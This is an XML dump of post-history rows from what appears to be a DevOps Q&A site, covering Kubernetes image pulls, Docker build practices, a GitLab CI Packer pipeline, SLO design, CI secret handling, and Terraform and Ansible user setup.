  <row Id="25315" PostHistoryTypeId="2" PostId="8647" RevisionGUID="ffb4dac4-6b02-4395-a6de-4626c29af0a7" CreationDate="2019-07-18T05:33:50.850" UserId="4907" Text="&gt; I am trying to pull the images down locally so I can modify them&#xD;&#xA;&#xD;&#xA;Container images are immutable. The correct way to do this is to look for the `Dockerfile` (if you using docker as the container engine) that corresponds to the image and make the relevant changes, rebuild the image and push it to the container registry. &#xD;&#xA;&#xD;&#xA;The container registry will be evident to you in the Deployment manifest. You are looking for `spec.containers.image` attribute.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="25316" PostHistoryTypeId="5" PostId="8647" RevisionGUID="aabfca09-2f94-4236-becc-58d2d6c09ff1" CreationDate="2019-07-18T05:45:40.547" UserId="4907" Comment="answer primary question" Text="&gt; I am trying to pull the images down locally so I can modify them&#xD;&#xA;&#xD;&#xA;Container images are immutable. The correct way to do this is to look for the `Dockerfile` (if you using docker as the container engine) that corresponds to the image and make the relevant changes, rebuild the image and push it to the container registry. &#xD;&#xA;&#xD;&#xA;The container registry will be evident to you in the Deployment manifest. You are looking for `spec.containers.image` attribute.  &#xD;&#xA;&#xD;&#xA;To answer your question specifically around &quot;is the ReplicaSet pulling a fresh image&quot;, this depends on the `imagePullPolicy` setup in the manifest. You can see the definition below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;FIELD:    imagePullPolicy &lt;string&gt;&#xD;&#xA;&#xD;&#xA;DESCRIPTION:&#xD;&#xA;     Image pull policy. One of Always, Never, IfNotPresent. Defaults to Always&#xD;&#xA;     if :latest tag is specified, or IfNotPresent otherwise. Cannot be updated.&#xD;&#xA;     More info:&#xD;&#xA;     https://kubernetes.io/docs/concepts/containers/images#updating-images&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25327" PostHistoryTypeId="2" PostId="8650" RevisionGUID="91367337-0379-486a-a1d8-75b525906a27" CreationDate="2019-07-18T14:16:04.403" UserDisplayName="user16086" Text="My company uses Azure DevOps and utilized Pipelines for building, testing and deploying (currently NuGet packages) .Net Framework apps.&#xD;&#xA;&#xD;&#xA;My boss has made it clear he wants us to containerize all our microservices and at some point start using Kubernetes. During this process we will also port our apps to .Net Core, one by one.&#xD;&#xA;&#xD;&#xA;After I had made a multistage Dockerfile (building and runtime, but not testing yet) for one of our microservices, he suggested we could simplify it by continuing to use Pipelines to **build and test** the apps and in a later task add the compiled app to a Docker container in Azure DevOps. This seems to be an anti-pattern as far as I know (I may be wrong), and I understand his desire for simplicity.&#xD;&#xA;&#xD;&#xA;Is this an anti-pattern or is it a good idea?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25328" PostHistoryTypeId="1" PostId="8650" RevisionGUID="91367337-0379-486a-a1d8-75b525906a27" CreationDate="2019-07-18T14:16:04.403" UserDisplayName="user16086" Text="Building .Net apps outside Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25329" PostHistoryTypeId="3" PostId="8650" RevisionGUID="91367337-0379-486a-a1d8-75b525906a27" CreationDate="2019-07-18T14:16:04.403" UserDisplayName="user16086" Text="&lt;docker&gt;&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25330" PostHistoryTypeId="2" PostId="8651" RevisionGUID="d20b6dd8-f901-47e3-9f6c-a301726348fb" CreationDate="2019-07-18T15:23:39.757" UserId="9344" Text="So here's how I managed to do it:&#xD;&#xA;&#xD;&#xA;Assuming that I need to build an AMI with Packer, only if a new release is detected in the github repository of interest, my gitlab ci yaml looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;image: ubuntu&#xD;&#xA;&#xD;&#xA;variables:&#xD;&#xA;  NEW_ECS_AGENT: &quot;false&quot;&#xD;&#xA;&#xD;&#xA;before_script:&#xD;&#xA;  - apt update&#xD;&#xA;  - apt -y install wget unzip jq curl httpie&#xD;&#xA;  - current_version=$(curl -s https://checkpoint-api.hashicorp.com/v1/check/packer | jq -r .current_version | sed 's/v//g')&#xD;&#xA;  - wget https://releases.hashicorp.com/packer/${current_version}/packer_${current_version}_linux_amd64.zip -O temp.zip; unzip temp.zip; rm temp.zip&#xD;&#xA;  - mkdir -p /opt/hashicorp&#xD;&#xA;  - mv packer /opt/hashicorp/&#xD;&#xA;  - export PATH=&quot;$PATH:/opt/hashicorp&quot;&#xD;&#xA;  - LAST_PUBLISH_TIMESTAMP=$(http -b GET https://api.github.com/repos/aws/amazon-ecs-agent/releases/latest | jq -r '.published_at')&#xD;&#xA;  - LAST_PUBLISH_DATE=$(echo ${LAST_PUBLISH_TIMESTAMP:0:10} | sed 's/-//g')&#xD;&#xA;  - TODAY=$(date +&quot;%Y%m%d&quot;)&#xD;&#xA;  - TODAYS_DAY=$(echo ${TODAY:6:2})&#xD;&#xA;  - if [[ (( 'TODAY - LAST_PUBLISH_DATE' -gt 0 ) &amp;&amp; ( 'TODAY - LAST_PUBLISH_DATE' -lt 2 )) || (( 'TODAY - LAST_PUBLISH_DATE' -ge 70 ) &amp;&amp; ( 'TODAY - LAST_PUBLISH_DATE' -le 72 ) &amp;&amp; ( &quot;$TODAYS_DAY&quot; == &quot;01&quot; )) || ( 'TODAY - LAST_PUBLISH_DATE' -eq 8870 ) ]] ; then eval export NEW_ECS_AGENT=&quot;true&quot; ; fi&#xD;&#xA;  - echo $NEW_ECS_AGENT&#xD;&#xA;  - echo $CI_PIPELINE_SOURCE&#xD;&#xA;&#xD;&#xA;build-zabbix-agent-scheduled:&#xD;&#xA;  stage: build&#xD;&#xA;  script:&#xD;&#xA;    - echo $NEW_ECS_AGENT&#xD;&#xA;    - if [[ &quot;$NEW_ECS_AGENT&quot; == &quot;false&quot; ]] &amp;&amp; [[ &quot;$CI_PIPELINE_SOURCE&quot; == &quot;schedule&quot; ]] ; then echo &quot;No new ecs-agent version detected. Skipping AMI building...&quot; &amp;&amp; exit ; fi&#xD;&#xA;    - cd ecs-zabbix&#xD;&#xA;    - packer build template.json&#xD;&#xA;  only:&#xD;&#xA;    refs:&#xD;&#xA;      - schedules&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;First part of the `before_script` pulls the latest packer version and then it checks the aws/amazon-ecs-agent github repo for the latest release publish date, and detects if there is a new release, based on the diff with the current date.&#xD;&#xA;&#xD;&#xA;I know the multiple if clauses look kinda stupid (they basically take into account all possibilities of dates diff (same month, different month, different year, goal is to check if a release was made the day before the pipeline runs, and if so, it builds it)) but at least it works.&#xD;&#xA;&#xD;&#xA;Lastly, there is a conditional exit (inside the `script` key) if the above conditions are not met. It works, but in the interface it shows the pipeline as passed. I am not sure if there is a better way of doing this." ContentLicense="CC BY-SA 4.0" />
  <row Id="25331" PostHistoryTypeId="2" PostId="8652" RevisionGUID="edccb99d-5d8f-4a78-afb3-155d63c57c58" CreationDate="2019-07-18T15:34:32.600" UserId="15792" Text="I'd say it is an anti-pattern as you lose the portability of Docker.  Now you will be relying on the build server's configuration instead of portable base image.&#xD;&#xA;&#xD;&#xA;If reducing complexity of the Dockerfile is the goal why not do something like this:&#xD;&#xA;&#xD;&#xA; 1. Build the .net core project in Docker (eliminates reliance on the build server).&#xD;&#xA; 2. Run the tests (inside or outside of Docker).&#xD;&#xA; 3. Now push the image and run it.&#xD;&#xA;&#xD;&#xA;Basically break your Dockerfile into three discrete pipeline steps.  This allows the build to fail on a discrete step.  It also reduces the complexity of the Dockerfile (at the cost of increased complexity in your pipeline)." ContentLicense="CC BY-SA 4.0" />
  <row Id="25332" PostHistoryTypeId="50" PostId="8307" RevisionGUID="b9c6eb69-e5a5-47bf-a507-7db40d5cd760" CreationDate="2019-07-18T17:00:56.437" UserId="-1" />
  <row Id="25347" PostHistoryTypeId="19" PostId="1672" RevisionGUID="4b93b183-f403-4099-b521-c85a7f69eb20" CreationDate="2019-07-19T07:54:27.180" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="25348" PostHistoryTypeId="5" PostId="8596" RevisionGUID="d13968a7-6e73-4757-89fc-8e9560eacff4" CreationDate="2019-07-19T09:26:50.090" UserId="15202" Comment="added 373 characters in body" Text="In an ideal world, the SLOs would be driven by business needs, and information about your customers.&#xD;&#xA;&#xD;&#xA;Remember: an SLO should be the level of reliability at which most users are happy with your service.&#xD;&#xA;&#xD;&#xA;To do this you can partition your service's behaviour into critical actions.&#xD;&#xA;&#xD;&#xA;A critical action is a discrete piece of functionality offered by your service, and which your customers care about. It is typically defined from the point of view of the customer, and independent of the implementation (eg., &quot;Customer successfully added an item to their shopping cart&quot;, &quot;Customer viewed the high score table&quot;)&#xD;&#xA;&#xD;&#xA;With some critical actions chosen, decide what the correct SLI specification should be for each action: does it succeed or fail, and needs an availability SLI; does it take some time to complete, and need a latency SLI; does it produce data to be consumed later, and needs a freshness or a correctness SLI? And so on. (Adding an item to a shopping cart should have an availability and a latency SLI; viewing a high score table should also have freshness SLIs, and potentially correctness)&#xD;&#xA;&#xD;&#xA;With these specifications you can start to think about what the impact of unreliability would be on your users: will one failure every few days make a user unhappy? What about one failure per hour? Are failures masked by client-side retries? Will users be annoyed if clicking a button results in a 100ms delay before something happens? What about 1000ms or 10 seconds?&#xD;&#xA;&#xD;&#xA;At this point, you have enough information to start setting SLOs and thinking about how to implement your SLI specifications: making trade-offs between fidelity, cost, and complexity. It is here that you can take advantage of the fact that the service is still being designed, and ensure it is designed with observability in mind. For example:&#xD;&#xA;&#xD;&#xA;* Splitting the service into microservices such that those microservices map neatly on to different SLIs and critical actions&#xD;&#xA;* Ensuring that any HTTP requests that should be counted towards different SLIs can be disambiguated at the load balancer (eg., don't have all requests be POST requests to /handler)&#xD;&#xA;* Include logs and metrics (eg., via OpenCensus) in the design from the start and consider their impact on your application's scalability and reliability.&#xD;&#xA;* If you plan to use synthetic probing, allow some way to do this (consider how much of a web page's logic is in client-side scripts, as opposed to server side, and how you would monitor this)&#xD;&#xA;* Can you include client-side instrumentation, and how would you collect the results?&#xD;&#xA;&#xD;&#xA;The most important thing when setting an SLO for a new service is to plan to iterate: Even if you don't know what level of service is necessary to make users happy to begin with, you should have some metrics you can use to determine this (satisfaction scores, ticket levels, random surveys) and use these to tighten or relax your current SLO as necessary.&#xD;&#xA;&#xD;&#xA;Don't hold your service to an SLO that is harder to defend than your customers require, but do ensure that your SLO is sufficient to keep them happy.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25350" PostHistoryTypeId="50" PostId="6385" RevisionGUID="90dc96a1-00f0-4f53-a6a9-5e47d32d998f" CreationDate="2019-07-19T16:01:10.103" UserId="-1" />
  <row Id="25351" PostHistoryTypeId="2" PostId="8657" RevisionGUID="f6ba5691-24c4-459a-b051-9a1d9f1ee87c" CreationDate="2019-07-19T18:32:10.057" UserId="9754" Text="So I have downloaded Artifactory 5.4.5 OSS and I get enter your license prompt, why, isn't it open source version?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25352" PostHistoryTypeId="1" PostId="8657" RevisionGUID="f6ba5691-24c4-459a-b051-9a1d9f1ee87c" CreationDate="2019-07-19T18:32:10.057" UserId="9754" Text="Artifactory - Open Source License Question" ContentLicense="CC BY-SA 4.0" />
  <row Id="25353" PostHistoryTypeId="3" PostId="8657" RevisionGUID="f6ba5691-24c4-459a-b051-9a1d9f1ee87c" CreationDate="2019-07-19T18:32:10.057" UserId="9754" Text="&lt;artifactory&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25359" PostHistoryTypeId="50" PostId="8363" RevisionGUID="516227bc-1bc5-4d21-9a84-28277bd04671" CreationDate="2019-07-20T07:00:45.083" UserId="-1" />
  <row Id="25360" PostHistoryTypeId="2" PostId="8659" RevisionGUID="80291ccc-dc0d-4257-8dd0-cf908f14975e" CreationDate="2019-07-20T10:08:06.233" UserId="10529" Text="I am using teamcity and to automatically build and test a nodejs application. The problem I am facing is that the application needs to have some environment variables set during the build face as well as some secret variables that needs to be set during the actual deployment (this is a manual step). These environment variables should be different depending on where the application should be deployed and I have no idea on how to solve this during the actual build?&#xD;&#xA;I guess one solution would be to setup different builds for different environments such as test, stage and production.&#xD;&#xA;Looking into using vault to store my secrets in something like `&lt;PROJECTNAME&gt;/&lt;ENVIRONMENT&gt;/secret`.&#xD;&#xA;Would be nice if someone could come up with any ideas on how to solve this problem.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25361" PostHistoryTypeId="1" PostId="8659" RevisionGUID="80291ccc-dc0d-4257-8dd0-cf908f14975e" CreationDate="2019-07-20T10:08:06.233" UserId="10529" Text="Handle different credentials in continues integratioon" ContentLicense="CC BY-SA 4.0" />
  <row Id="25362" PostHistoryTypeId="3" PostId="8659" RevisionGUID="80291ccc-dc0d-4257-8dd0-cf908f14975e" CreationDate="2019-07-20T10:08:06.233" UserId="10529" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;environment-variables&gt;&lt;teamcity&gt;&lt;secret-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25369" PostHistoryTypeId="5" PostId="8659" RevisionGUID="52d343f2-dc7c-4b9f-b87c-f8707ef61430" CreationDate="2019-07-20T18:45:42.947" UserId="354" Comment="Fix grammar" Text="I am using teamcity to automatically build and test a nodejs application. The problem I am facing is that the application needs to have some environment variables set during the build phase, as well as some secret variables that need to be set during the actual deployment (this is a manual step). These environment variables should be different depending on where the application should be deployed and I have no idea on how to solve this during the actual build.&#xD;&#xA;&#xD;&#xA;I guess one solution would be to set up different builds for different environments such as test, stage and production.&#xD;&#xA;Looking into using vault to store my secrets in something like `&lt;PROJECTNAME&gt;/&lt;ENVIRONMENT&gt;/secret`.&#xD;&#xA;It would be nice if someone could come up with any ideas on how to solve this problem.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25370" PostHistoryTypeId="4" PostId="8659" RevisionGUID="52d343f2-dc7c-4b9f-b87c-f8707ef61430" CreationDate="2019-07-20T18:45:42.947" UserId="354" Comment="Fix grammar" Text="How to handle different credentials in continuous integratioon" ContentLicense="CC BY-SA 4.0" />
  <row Id="25371" PostHistoryTypeId="24" PostId="8659" RevisionGUID="52d343f2-dc7c-4b9f-b87c-f8707ef61430" CreationDate="2019-07-20T18:45:42.947" Comment="Proposed by 354 approved by -1 edit id of 1030" ContentLicense="CC BY-SA 4.0" />
  <row Id="25372" PostHistoryTypeId="5" PostId="8659" RevisionGUID="f842d885-2156-4079-9953-66c7cca655a9" CreationDate="2019-07-20T18:45:42.947" UserId="40" Comment="deleted 47 characters in body; edited title" Text="I am using teamcity to automatically build and test a nodejs application. The problem I am facing is that the application needs to have some environment variables set during the build phase, as well as some secret variables that need to be set during the actual deployment (this is a manual step). These environment variables should be different depending on where the application should be deployed and I have no idea on how to solve this during the actual build.&#xD;&#xA;&#xD;&#xA;I guess one solution would be to set up different builds for different environments such as test, stage and production.&#xD;&#xA;Looking into using vault to store my secrets in something like `&lt;PROJECTNAME&gt;/&lt;ENVIRONMENT&gt;/secret`.&#xD;&#xA;&#xD;&#xA;Any ideas on how to solve this problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25373" PostHistoryTypeId="4" PostId="8659" RevisionGUID="f842d885-2156-4079-9953-66c7cca655a9" CreationDate="2019-07-20T18:45:42.947" UserId="40" Comment="deleted 47 characters in body; edited title" Text="How to handle different credentials in continuous integratioon?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25374" PostHistoryTypeId="2" PostId="8661" RevisionGUID="18fb7c08-51ba-4e34-9598-6ad550cda78e" CreationDate="2019-07-20T20:21:17.290" UserId="16124" Text="I'm not familiar with teamcity, but you can :&#xD;&#xA;&#xD;&#xA; - add a config folder in your repo, and inside this repo&#xD;&#xA; - create three files (staging.yml, preprod.yml, prod.yml). &#xD;&#xA; - on each file you will write down variables specific to each&#xD;&#xA;   environment, and apply them within pipeline.&#xD;&#xA;&#xD;&#xA;For secrets, it's cautious to handle that manually or better use Vault.&#xD;&#xA;&#xD;&#xA;To not throw on error your pipeline/pods, set secrets as optional that could help if you want to set them later. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25377" PostHistoryTypeId="2" PostId="8663" RevisionGUID="7b409694-4530-4d18-8d60-5f6a3633cb92" CreationDate="2019-07-21T05:03:18.070" UserId="2901" Text="I am creating some Ubuntu VMs in Azure with Terraform.&#xD;&#xA;I am then configuring the VMs with ansible.&#xD;&#xA;&#xD;&#xA;When terraform creates the VM it creates an admin user&#xD;&#xA;&#xD;&#xA;    resource &quot;azurerm_virtual_machine&quot; &quot;main&quot; {&#xD;&#xA;      ...&#xD;&#xA;      ...&#xD;&#xA;      os_profile {&#xD;&#xA;        computer_name  = &quot;hostname&quot;&#xD;&#xA;        admin_username = &quot;testadmin&quot;&#xD;&#xA;        admin_password = &quot;Password1234!&quot;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;I will need a user to run the application and a user to run ansible.&#xD;&#xA;&#xD;&#xA;Should the admin user that terraform creates be the ansible user and then get ansible to create the application user?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25378" PostHistoryTypeId="1" PostId="8663" RevisionGUID="7b409694-4530-4d18-8d60-5f6a3633cb92" CreationDate="2019-07-21T05:03:18.070" UserId="2901" Text="Which Users Should I Create With Terraform And Which With Ansible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25379" PostHistoryTypeId="3" PostId="8663" RevisionGUID="7b409694-4530-4d18-8d60-5f6a3633cb92" CreationDate="2019-07-21T05:03:18.070" UserId="2901" Text="&lt;ansible&gt;&lt;terraform&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25380" PostHistoryTypeId="5" PostId="740" RevisionGUID="75cb5a50-bab8-4a2b-8d1b-ad8e08c46144" CreationDate="2019-07-21T06:25:53.107" UserId="40" Comment="added 6 characters in body" Text="**Why this question?**&#xD;&#xA;&#xD;&#xA;The reason for posting this Q&amp;A is that sometimes certain software is required to compile software in a docker image. Once compiled, these packages are superfluous and should be removed in order to reduce the image size. In some cases images that were more than 1.5GB where reduced to less than 300MB. The following use case does not represent a real world scenario, but provides an example of this use case.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;This results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/2 : RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c283805e687f&#xD;&#xA;    Successfully built c283805e687f&#xD;&#xA;&#xD;&#xA;When the aim is to remove the directory in another layer, this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;And this fails:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com&#xD;&#xA;    RUN rm -rf dir&#xD;&#xA;&#xD;&#xA;Another attempt was using workdir:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    &#xD;&#xA;    RUN mkdir dir&#xD;&#xA;    WORKDIR dir&#xD;&#xA;    RUN wget http://google.com&#xD;&#xA;    WORKDIR /&#xD;&#xA;    RUN ls&#xD;&#xA;    RUN rm -r dir&#xD;&#xA;&#xD;&#xA;Building the image resulted in:&#xD;&#xA;&#xD;&#xA;    Sending build context to Docker daemon 2.048 kB&#xD;&#xA;    Step 1/7 : FROM alpine&#xD;&#xA;     ---&gt; 4a415e366388&#xD;&#xA;    Step 2/7 : RUN mkdir dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; aed5c75218cb&#xD;&#xA;    Step 3/7 : WORKDIR dir&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 715de09e7e08&#xD;&#xA;    Step 4/7 : RUN wget http://google.com&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c07bfb3e1133&#xD;&#xA;    Step 5/7 : WORKDIR /&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; c6de86d0191a&#xD;&#xA;    Step 6/7 : RUN ls&#xD;&#xA;     ---&gt; Using cache&#xD;&#xA;     ---&gt; 9567593cce39&#xD;&#xA;    Step 7/7 : RUN rm -r dir&#xD;&#xA;     ---&gt; Running in 7fe7b28294bf&#xD;&#xA;    rm: can't remove 'dir': Directory not empty&#xD;&#xA;    The command '/bin/sh -c rm -r dir' returned a non-zero code: 1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25381" PostHistoryTypeId="2" PostId="8664" RevisionGUID="6eba23c8-1d45-4d4b-8ddf-3d8e13d38ff0" CreationDate="2019-07-21T07:13:01.943" UserId="6356" Text="I'd say to do it as you last explained it: using the admin user created by tf with ansible, and then create any other user using ansible.&#xA;&#xA;The downside is from the security pov, does ansible needs an admin user ? If yes then keep the tf created user, if not then i'd suggest creating a new non-admin user for ansible&#xA;&#xA;Anyway, tf needs to create an (admin) user so keep it that way, then switch to you config mgmt to handle any other required users." ContentLicense="CC BY-SA 4.0" />
  <row Id="25382" PostHistoryTypeId="5" PostId="8664" RevisionGUID="5c2681cf-077c-48f6-93f3-f27ce29ca5e0" CreationDate="2019-07-21T07:19:40.110" UserId="6356" Comment="added 365 characters in body; added 1 character in body" Text="I'd say to do it as you last explained it: using the admin user created by tf with ansible, and then create any other user using ansible.&#xA;&#xA;The downside is from the security pov, does ansible needs an admin user ? If yes then keep the tf created user, if not then i'd suggest creating a new non-admin user for ansible.&#xA;&#xA;As ansible is a ssh based config mgmt tool, you should think about using a strong pki.&#xA;&#xA;Using the std tf admin user may results in a unique admin created on your every ubuntu vm, with the very same ssh key and this is not a very good practice (although it is a widely spread practice from my personal experience), this is where a real and strong pki may help you.&#xA;&#xA;Anyway, tf needs to create an (admin) user so keep it that way, then switch to you config mgmt to handle any other required users." ContentLicense="CC BY-SA 4.0" />
  <row Id="25383" PostHistoryTypeId="2" PostId="8665" RevisionGUID="102fe0f9-1f6c-42cc-a597-1377630ef326" CreationDate="2019-07-21T07:32:17.327" UserId="6356" Text="As explained by @TheFiddlerWins, there is no need to add ldap groups into /etc/group.&#xA;&#xA;The challenge here is to give ssh a way to access your ldap directory:&#xA;I did this some time ago by adding a custom script to the sshd config, but using pam looks a lot cleaner today.&#xA;&#xA;Then you just need to handle the required changes using your playbook.&#xA;&#xA;Just remember that your ldap accounts will need a posixAccount object in order to be able to log into you ubuntu boxes." ContentLicense="CC BY-SA 4.0" />
  <row Id="25384" PostHistoryTypeId="2" PostId="8666" RevisionGUID="cd47709a-0078-4ffd-870d-01af6ef2db53" CreationDate="2019-07-21T08:00:29.110" UserId="7715" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* at the controller. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25385" PostHistoryTypeId="5" PostId="8666" RevisionGUID="dbef0839-a55e-4631-ad1f-4f5208c48702" CreationDate="2019-07-21T08:08:32.287" UserId="7715" Comment="added 166 characters in body" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* at the controller. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;&#xD;&#xA;As a result, a short &quot;bootstrap&quot; ansible-playbook run by admin at localhost (newly created VM) will be needed to create *ansible_user* with predefined ssh keys.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25386" PostHistoryTypeId="5" PostId="8666" RevisionGUID="85d85b66-7249-4555-80f2-62c75c85288f" CreationDate="2019-07-21T08:17:44.433" UserId="7715" Comment="added 166 characters in body" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* at the controller. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25387" PostHistoryTypeId="5" PostId="8666" RevisionGUID="472d6913-0eaf-4a25-aead-56cad126f6e9" CreationDate="2019-07-21T08:26:57.487" UserId="7715" Comment="added 111 characters in body" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* **at the controller**. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;&#xD;&#xA;**At the remote host** the admin created by default might be fine. (With changed credentials, of course)." ContentLicense="CC BY-SA 4.0" />
  <row Id="25388" PostHistoryTypeId="5" PostId="8666" RevisionGUID="f5827dd3-3914-41e4-8fe5-a68a80378e66" CreationDate="2019-07-21T08:32:48.433" UserId="7715" Comment="added 111 characters in body" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* **at the controller**. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;&#xD;&#xA;**At the remote host** the admin created by default might be fine. With changed credentials and login-shell changed to /bin/sh, but for security reasons creating new ansible_admin and deleting the default admin should be preferred." ContentLicense="CC BY-SA 4.0" />
  <row Id="25389" PostHistoryTypeId="50" PostId="5306" RevisionGUID="dc89cfe0-140a-4f44-857b-d4311a9353ea" CreationDate="2019-07-21T09:01:50.207" UserId="-1" />
  <row Id="25390" PostHistoryTypeId="5" PostId="8666" RevisionGUID="53333f3b-6993-42b6-97d8-37ecfc78c23e" CreationDate="2019-07-21T10:24:35.203" UserId="7715" Comment="deleted 5 characters in body" Text="For practical reasons, it's good to create a special user who will be running ansible-* as *ansible_user* **at the controller**. Typically *ansible_user* connects via ssh to remote hosts and authenticates with the public key.&#xD;&#xA;&#xD;&#xA;* It's practical to have different ssh keys for *admin* and *ansible_user*.&#xD;&#xA;&#xD;&#xA;* *ansible_user* public key will be authorized by all remote hosts.&#xD;&#xA;* Some remote hosts might need the authorization to connect to the controller e.g. ansible-pull&#xD;&#xA;&#xD;&#xA;* Typically, Ansible requires /bin/sh to be *ansible_user* login shell at the remote host.&#xD;&#xA;&#xD;&#xA;There might be more(or less) reasons depending on the scenario.&#xD;&#xA;&#xD;&#xA;**At the remote host** the admin created by default might be fine. With changed credentials and login-shell changed to /bin/sh, but for security reasons creating ansible_user and deleting the default admin should be preferred." ContentLicense="CC BY-SA 4.0" />
